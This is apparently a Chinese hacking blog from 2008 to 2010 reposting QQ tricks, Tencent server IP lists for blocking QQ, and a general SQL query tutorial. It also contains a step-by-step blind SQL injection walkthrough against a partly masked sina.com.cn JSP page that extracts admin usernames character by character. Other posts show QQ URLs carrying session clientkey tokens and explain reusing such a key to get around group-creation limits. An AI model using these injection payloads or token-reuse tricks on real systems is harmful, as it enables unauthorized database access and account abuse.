21 工作室 - 黑客技术

用电脑上手机3GQQ

lianxiangpanjin@163.com(admin) — Tue,11 May 2010 10:49:57 +0800

http://www.pctowap.com/3gqq/

空间提权

lianxiangpanjin@163.com(admin) — Wed,28 Apr 2010 00:26:23 +0800

http://webwap.qq.com/?from=client001&clientuin=401432531&clientkey=712FCDD96A020C53E667F2C4DE55A644C22BF130FEBB1410882F13D57C172121&ADUIN=401432531&ADSESSION=1264480102&ADTAG=CLIENT.QQ.2653_MyTip.0 代码看我找就是 712FCDD96A020C53E667F2C4DE55A644C22BF130FEBB1410882F13D57C172121&AD 这段我们来测试下

qq空间免费代码

lianxiangpanjin@163.com(admin) — Mon,15 Mar 2010 10:11:25 +0800

QQ空间代码_粉色皮肤代码
javascript:window.top.space_addItem(1,4693,0,80,0,0,94);

如何封QQ

lianxiangpanjin@163.com(admin) — Thu,11 Mar 2010 19:16:37 +0800

QQ服务器分为三类：
1、UDP 8000端口类13个：速度最快，服务器最多。
QQ上线会向这11个服务器发送UDP数据包，选择回复速度最快的一个作为连接服务器。

这6个服务器名字均以SZ开头，域后缀是tencent.com，域名与IP对应为
sz sz2 : 61.144.238.145 61.144.238.146 61.144.238.156

sz3 sz4 sz6 sz7 : 202.104.129.251 202.104.129.254 202.104.129.252 202.104.129.253

sz5 : 61.141.194.203

202.96.170.166 218.18.95.221 219.133.45.15

61.141.194.224
202.96.170.164

2、TCP HTTP连接服务器4个，使用HTTP 80 和443端口连接
这4个服务器名字均以tcpconn开头，域后缀是tencent.com，域名与IP对应为
tcpconn tcpconn3 218.17.209.23
tcpconn2 tcpconn4 218.18.95.153
61.141.194.227
218.18.95.171

3、会员VIP登陆服务器，使用HTTP 443安全连接
服务器IP 218.17.209.42

知道这些服务器地址，全封锁了就OK了，谁也不能上QQ了，无论何种方式，

如果可以上了，那么就是tencent增加了新的服务器，大家通知我一声，

再分析一次就可以找出新的服务器地址了。

'引用自http://www.hackdos.com/Article/3/33/html/1004.html

qq技能

lianxiangpanjin@163.com(admin) — Wed,10 Mar 2010 21:03:04 +0800

1.不用加好友也能看加密空间
http://dx1.gogoqq.com/index.htm

2.免费一个月会员
http://gdb.qq.com/ 办卡，大概半个月后审核完成

3.隐藏隐藏QQ号码和昵称
点击下载此文件

4.本地换皮肤
(1)必须安装Microsoft .Net 2.0 frameWork (.Net 3 也可以)得到文件的支持!
(2)QQ安装目录下,Res.rdb皮肤文件,
用"通用包文件解包/打包工具“将Res.rdb解压，登陆界面的图片在LoginPanel这个文件夹里的MiniLoginPanel_DefaultBanner和MiniLoginPanel_WinBkg,将文件替换
(3) 再压缩替换即可.

在QQ中将自己从对方的好友中删除

lianxiangpanjin@163.com(admin) — Mon,20 Apr 2009 19:44:50 +0800

很多即使通讯软件都可以将自己从对方的好友名单删除,而QQ一直没有这个功能,要想删除,
只能将对方拉入黑名单,其实QQ虽然没有这个功能,但它的"同门师兄"TM却可以实现此功能.
具体方法如下:点击"菜单→切换到TM",在好友中找到对方,右击,选择"将自己从对方联系人名单中删除",点击"是"按钮后即可完成删除.在TM还可以互相设置密友，这样的话，就可以看到隐身的好友了，但是在QQ里面需要会员级别的才行。

'引用自http://www.hack58.net/Article/54/6/2005/1.htm

如何封QQ

lianxiangpanjin@163.com(admin) — Mon,20 Apr 2009 19:44:15 +0800

很多朋友问我怎么限制用户使用QQ，今天专门测试了一下。
QQ服务器分为三类：
1、UDP 8000端口类13个：速度最快，服务器最多。
QQ上线会向这11个服务器发送UDP数据包，选择回复速度最快的一个作为连接服务器。
这6个服务器名字均以SZ开头，域后缀是tencent.com，域名与IP对应为
sz sz2 : 61.144.238.145 61.144.238.146 61.144.238.156

sz3 sz4 sz6 sz7 : 202.104.129.251 202.104.129.254 202.104.129.252 202.104.129.253

sz5 : 61.141.194.203

202.96.170.166 218.18.95.221 219.133.45.15

61.141.194.224
202.96.170.164

2、TCP HTTP连接服务器4个，使用HTTP 80 和443端口连接
这4个服务器名字均以tcpconn开头，域后缀是tencent.com，域名与IP对应为
tcpconn tcpconn3 218.17.209.23
tcpconn2 tcpconn4 218.18.95.153
61.141.194.227
218.18.95.171

3、会员VIP登陆服务器，使用HTTP 443安全连接
服务器IP 218.17.209.42

知道这些服务器地址，全封锁了就OK了，谁也不能上QQ了，无论何种方式，

如果可以上了，那么就是tencent增加了新的服务器，大家通知我一声，

再分析一次就可以找出新的服务器地址了。
除非QQ不发送数据，否则就能分析出它的服务器地址。：）

'引用自http://www.hack58.net/Article/54/6/2005/2.htm

QQ免费建400个群

lianxiangpanjin@163.com(admin) — Mon,20 Apr 2009 19:43:35 +0800

我们下面利用qq推出的在线企业服务建4个群，没级别限制，每个群可加100人。

首先保证你的qq版本是2005beta1 及以上的版本。

在qq的主面板上有“个人帐号”图标（就是3个硬币），单击那个图标，在打开的窗口中右击－－－属性。会看到一些信息例如：http://pay-client.qq.com/index.shtml?clientuin=120182074&clientkey=D1F548173DAA1AD298BD3CEFAEFD00F3C5C9C64650B6405D39B8F129FE10C481

请记住，“clientkey＝”后面的那一传数字，（每个号码对应不同的验证码）

然后打开记事本，把这个网址复制到记事本中进行修改，http://im.qq.com/cgi-bin/toc/toc_info?uin=120182074&signature=D1F548173DAA1AD298BD3CEFAEFD00F3C5C9C64650B6405D39B8F129FE10C481

把"uin="后面的数字改成你的qq号码，“signature＝”后面是我让你记住的那个验证码，改完后保存，打开那个网址，在那里就可以随便注册了，哈哈，资料可以随便填写，后面的不用我说了吧！

'引用自http://www.hack58.net/Article/54/6/2005/1196.htm

QQ破解详解

lianxiangpanjin@163.com(admin) — Sat,31 Jan 2009 00:05:59 +0800

<注:本篇转自CSDN文章,原作者不详>

引用自 http://www.cnblogs.com/frankboy/archive/2005/12/22/302364.html

点击下载此文件

jsp注入

lianxiangpanjin@163.com(admin) — Wed,13 Aug 2008 09:51:39 +0800

检测可否注入

 http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and 1=1 (正常页面)

http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and 1=2 (出错页面)

检测表段的

 http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select * from admin)

检测字段的

 http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select username from admin)

检测ID

http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where ID=1)

检测长度的

 http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where len(username)=5 and ID=1)

检测长度的

 http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where len(username)=5 and ID=1)

检测是否为MSSQL数据库

 http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select * from sysobjects)

检测是否为英文

(ACCESS数据库)

http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)

(MSSQL数据库)

http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)

检测英文的范围

(ACCESS数据库)

http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)

(MSSQL数据库)

http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)

检测那个字符

(ACCESS数据库)

http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)

(MSSQL数据库)

http://****.house.sina.com.cn/publics/detail.jsp?id=7674 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)

常用函数

Access：asc(字符)　SQLServer：unicode(字符)

作用：返回某字符的ASCII码

Access：chr(数字)　SQLServer：nchar(数字)

作用：与asc相反，根据ASCII码返回字符

Access：mid(字符串,N,L)　SQLServer：substring(字符串,N,L)

作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串

Access：abc(数字)　SQLServer：abc (数字)

作用：返回数字的绝对值（在猜解汉字的时候会用到）

Access：A between B And C　SQLServer：A between B And C

作用：判断A是否界于B与C之间

and exists(Select top 1 * From 用户 order by id)

1.在查询结果中显示列名：

a.用as关键字：select name as ’姓名’ from students order by age

b.直接表示：select name ’姓名’ from students order by age

2.精确查找:

a.用in限定范围：select * from students where native in (’湖南’, ’四川’)

b.between...and：select * from students where age between 20 and 30

c.“=”：select * from students where name = ’李山’

d.like:select * from students where name like ’李%’ (注意查询条件中有“%”，则说明是部分匹配，而且还有先后信息在里面，即查找以“李”开头的匹配项。所以若查询有“李”的所有对象，应该命令：’%李%’;若是第二个字为李，则应为’_李%’或’_李’或’_李_’。)

e.[]匹配检查符：select * from courses where cno like ’[AC]%’ (表示或的关系，与"in(...)"类似，而且"[]"可以表示范围，如：select * from courses where cno like ’[A-C]%’)

3.对于时间类型变量的处理

a.smalldatetime：直接按照字符串处理的方式进行处理，例如：select * from students where birth > = ’1980-1-1’ and birth <= ’1980-12-31’

4.集函数

a.count()求和，如：select count(*) from students (求学生总人数)

b.avg(列)求平均，如：select avg(mark) from grades where cno=’B2’

c.max(列)和min(列)，求最大与最小

5.分组group

常用于统计时，如分组查总数：select gender,count(sno) from students group by gender(查看男女学生各有多少)

注意：从哪种角度分组就从哪列"group by"

对于多重分组，只需将分组规则罗列。比如查询各届各专业的男女同学人数，那么分组规则有：届别(grade)、专业(mno)和

性别(gender)，所以有"group by grade, mno, gender"

select grade, mno, gender, count(*) from students group by grade, mno, gender

通常group还和having联用，比如查询1门课以上不及格的学生，则按学号(sno)分类有：

select sno,count(*) from grades where mark<60 group by sno having count(*)>1

6.UNION联合

合并查询结果，如：

Select * FROM students Where name like ‘张%’UNION [ALL] Select * FROM students Where name like ‘李%’

7.多表查询

a.内连接

select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno

(注意可以引用别名)

b.外连接

b1.左连接

select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno

左连接特点：显示全部左边表中的所有项目，即使其中有些项中的数据未填写完全。

左外连接返回那些存在于左表而右表中却没有的行，再加上内连接的行。

b2.右连接

与左连接类似

b3.全连接

select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno

两边表中的内容全部显示

c.自身连接

select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno

采用别名解决问题。

d.交*连接

select lastname+firstname from lastname CROSS JOIN firstanme

相当于做笛卡儿积

8.嵌套查询

a.用关键字IN,如查询猪猪山的同乡：

select * from students where native in (select native from students where name=’猪猪’)

b.使用关键字EXIST,比如，下面两句是等价的：

select * from students where sno in (select sno from grades where cno=’B2’)

select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

9.关于排序order

a.对于排序order，有两种方法：asc升序和desc降序

b.对于排序order,可以按照查询条件中的某项排列，而且这项可用数字表示，如：

select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3

10.其他

a.对于有空格的识别名称，应该用"[]"括住。

b.对于某列中没有数据的特定查询可以用null判断，如select sno,courseno from grades where mark IS NULL

c.注意区分在嵌套查询中使用的any与all的区别，any相当于逻辑运算“||”而all则相当于逻辑运算“&&”

d.注意在做否定意义的查询是小心进入陷阱：

如，没有选修‘B2’课程的学生：

select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’

上面的查询方式是错误的，正确方式见下方：

select * from students where not exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

11.关于有难度多重嵌套查询的解决思想：如，select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))

最外一重：从学生表中选，排除那些有课没选的。用not exist。由于讨论对象是课程，所以第二重查询从course表中找，排除那些选了课的即可

'引用 http://hi.baidu.com/ldcz1/blog/item/cf1ae151be2a841a367abe53.html